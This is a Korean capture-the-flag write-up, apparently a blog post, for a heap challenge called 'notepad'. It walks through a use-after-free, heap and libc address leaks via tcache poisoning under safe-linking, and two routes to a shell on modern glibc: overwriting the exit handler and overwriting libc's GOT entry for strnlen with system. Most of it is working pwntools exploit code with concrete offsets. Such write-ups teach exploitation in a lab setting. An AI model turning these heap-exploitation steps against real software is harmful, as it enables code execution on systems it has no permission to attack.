UAF 취약점 발생 => 해제된 chunk에 접근하여 값을 조작하거나 값을 읽어올 수 있다
보호기법 풀 적용 => 두 가지 방법으로 해결 가능 : exit handler 혹은 libc GOT overwrite
Step 1. heap leak
- 항상 malloc(0x84) 이루어지므로 0x90 크기의 chunk가 할당된다 => 0x20 ~ 0x410 범위의 chunk는 tcache bins
- single-linked 형태의 tcache bin은 총 64개가 있으며, 각 bin에는 최대 7개의 chunk가 저장된다
- next ptr은 safe-linking 되어있다 = (heap chunk addr >> 12) 값과 xor 되어있다
from pwn import *
from bitstring import BitArray
# p = process("./notepad")
p = remote('cat.moe', 8003)
def printall():
p.recvuntil("> ")
p.sendline("3")
def addchunk(idx, size, data):
p.recvuntil("> ")
p.sendline("1")
p.sendline(str(idx))
p.sendline(str(size))
p.recvuntil("data: ")
p.send(data)
def freechunk(idx):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("idx: ")
p.sendline(str(idx))
# Step 1: heap leak
addchunk(0,0x80,'AAAAAAAA') # chk0
addchunk(1,0x80,'AAAAAAAA') # chk1
freechunk(0)
freechunk(1) # tcache[0x90]: chk1 -> chk0 -> 0
addchunk(0,0, '') # uaf
addchunk(1,0, '') # uaf
printall()
p.recvuntil("0 -> ")
heap_leak = u64(p.recvline()[:-1]+b'\x00'*3) # masking key
p.recvuntil("1 -> ")
chk0_addr = u64(p.recvline()[:-1]+b'\x00'*2) ^ heap_leak
// safe-linking 과정에서 xor 연산에 사용하는 masking key와 index 0의 chunk 주소를 leak 하였다
Step 2. libc_base leak
- menu(1)에서 size만큼 스택 버퍼의 값을 chunk로 memcpy 해오기때문에 chunk 크기를 최대(0x80)로 주고 살펴봄
- gdb attach해서 반복적으로 확인했는데 memcpy해서 가져온 스택값에 libc 값들 존재 (옾셋 일정)
- tcache poisoning을 통해 next tcache chunk를 해당 위치로 바꿔 libc 값 leak
# Step 2: libc leak
fake_ptr = (chk0_addr+0x40) ^ heap_leak
addchunk(1,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chk1 -> chk0+0x40 -> ???
addchunk(2,0,'') # chk1
addchunk(3,0,'') # chk0+0x40
printall()
p.recvuntil("3 -> ")
libc_base = u64(p.recvline()[:-1]+b'\x00'*2) - 0x219aa0
// 근데 이건 스택 환경이 서버랑 로컬이랑 다를 수 있기 때문에 별로 추천하지는 않는다
// 도커환경 구성하고 테스트하면 확실히 괜찮을수도?
좀 더 일반적인, 확실한 방법 (8개 연속 할당 및 연속 해제)
- tcache bin의 최대 저장 개수 7개
- 64bit 기준 fastbin은 7개의 bin 사용, 0x20~0x80 크기의 chunk를 저장한다. 그 이상의 chunk는 unsorted bin에 저장됨
- 해제를 8번 하면 7개는 tcache[0x90]에 저장되고, 나머지 하나는 unsortedbin에 저장
- unsorted bin은 double-linked 형태로 처음과 마지막 chunk의 bk, fd에 libc 주소 담김 (main_arena + xxx)
# Guardian 정재영 선배릠 풀이
for i in range(1, 9):
alloc(i, "Q")
for i in range(2, 9):
delete(i)
delete(1)
alloc(1, "", 0)
printer()
p.recvuntil("1 -> ")
libc_base = u64(p.recvline()[:-1] + "\x00\x00") - 0x219ce0
Step 3. 보호기법 풀인 상태에서 exploit 방향
- 이미 heap leak 및 libc_base leak 해둔 상태
- tcache poisoning 및 allocation을 통해 원하는 주소에 읽기 / 쓰기가 가능하다
(물론 tcache chunk alignment 맞춰주어야해서 0x10 배수의 주소들만 가능하겠지, safe-linking도 고려하고)
Method 1. exit handler overwrite
https://minseosavestheworld.tistory.com/166 <- 여기 자세히 나와있음
메인함수 에필로그 후 __libc_start_call_main 에서 exit() 함수 호출이 이루어짐
__run_exit_handler에서 initial+0x18 포인터 값을 가져와 demangling 과정을 거침 (0x11만큼 bits roate right 후 fs:[0x30] 값과 xor 한다, mangling 과정의 역순)
exit handler 호출되는 과정을 보니 r13의 값 (initial+0x20의 값)이 인자로 들어가네
따라서 fs_base+0x30의 값을 leak하거나 특정 값으로 overwrite 후, libc 영역에 존재하는 initial 구조체의 0x18 옾셋과 0x20 옵셋을 각각 system 주소 / binsh 주소로 채우면 되겠네
system = libc_base + 0x50d60
binsh = libc_base + 0x1d8698
initial = libc_base + 0x21af00
fs_0x30 = libc_base - 0x2890
# Step 3: fs:[0x30] overwrite (0x0으로)
addchunk(4,8,'AAAAAAAA') # chkA
addchunk(5,8,'AAAAAAAA') # chkB
freechunk(4)
freechunk(5) # tcache[0x90]: chkB -> chkA -> 0
fake_ptr = (fs_0x30) ^ heap_leak # tcache alignment
addchunk(5,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chkB -> fs:0x30 -> ???
addchunk(6,0,'') # chkB
addchunk(7,8,'\x00'*8) # fs:0x30
# Step 4: exit handler overwrite (w/ paremeter)
addchunk(8,8,'AAAAAAAA') # chkX
addchunk(9,8,'AAAAAAAA') # chkY
freechunk(8)
freechunk(9) # tcache[0x90]: chkY -> chkX -> 0
fake_ptr = (initial+0x10) ^ heap_leak # tcache alignment
addchunk(9,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chkY -> initial+0x10 -> ???
bits = BitArray(uint=system, length=64)
bits.rol(0x11)
mangled_ptr = bits.uint
addchunk(10,0,'') # chkY
addchunk(11,0x18, p64(0x4)+p64(mangled_ptr)+p64(binsh)) # initial+0x10
Method 2. libc의 GOT overwrite
libc 파일은 원 바이너리의 Full RELRO에 영향받지 않는다. libc 바이너리의 GOT table을 덮어써서 흐름 조작
exploit 조건
- 덮었을 때 프로그램 crash가 안나야하며
- 원가젯 공략이 가능한 레지스터 상태이거나, 혹은 user가 인자를 넣을 수 있어야 한다 ('/bin/sh' 문자열 주소)
IDA로 printf 함수 분석해보니 내부에서 _vfprintf_internal 함수 호출
_vfprintf_internal 함수 내부에서 j_로 시작하는 함수들 존재 = libc의 GOT에 해당하는 놈들임!!!
(j_ prefix is used by IDA for functions which do not do anything besides jumping to another function)
// 그 외에도 j_strlen_ifunc , j_strnlen 등등 존재
j_strchrnul 을 따라가보니 GOT에서 주소를 가져와 jump 하는 함수였다
- j_strchrnul을 덮었더니 프로그램 crash. 아마 프로그램 여러곳에서 쓰이는 함수여서 그런듯
- j_strnlen을 덮으면 되겠다. 심지어 GOT 테이블의 주소로 jump 시 인자로 printf의 두번째 인자가 전달됨
- 원가젯 사용하려했으나 레지스터 상황 때문에 전부 실패. 인자를 넣을 수 있으면서 GOT overwrite 가능한 케이스들 살펴보았는데 딱히 없음
# Step 3: libc got overwrite
addchunk(4,8,'AAAAAAAA') # chkA
addchunk(5,8,'AAAAAAAA') # chkB
freechunk(4)
freechunk(5) # tcache[0x90]: chkB -> chkA -> 0
fake_ptr = (strlen_ifunc_got-0x8) ^ heap_leak # tcache alignment
addchunk(5,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chkB -> libc GOT table -> ???
addchunk(6,0,'') # chkB
# gdb.attach(p)
# pause()
addchunk(7,0x10, b'AAAAAAAA'+p64(system)[:-2]+b'A')
addchunk(0,0x8, '/bin/shh')
// 인자 2개 이상 printf 실행 시 내부에서 j_strnlen 호출되면서 system 실행됨
// 인자로 '/bin/sh' 주소를 전달하기 위해 chunk 0의 데이터 조작
나도 처음 알았는데..
Ubuntu 22.04 같이 높은 버전의 glibc를 사용하고 있는 환경의 경우
- Tcache, Fastbin에 heap safe-linking 적용
- __free_hook, __malloc_hook, __realloc_hook 사용 불가
- call ptr in rtld_global 불가
=> libc에는 FULL RELRO 보호기법 안걸려있다는 점을 이용하여 j_strlen 등을 one_gadget으로 overwrite 하여 puts/printf 함수 실행 시점에서 exploit 되도록 한다. 꽤 자주 쓰이는 기법이라고 한다
'security > CTF' 카테고리의 다른 글
2022 CCE 예선 - 공용/일반 (0) | 2023.06.10 |
---|---|
2022 CCE 예선 - 청소년 (0) | 2023.06.08 |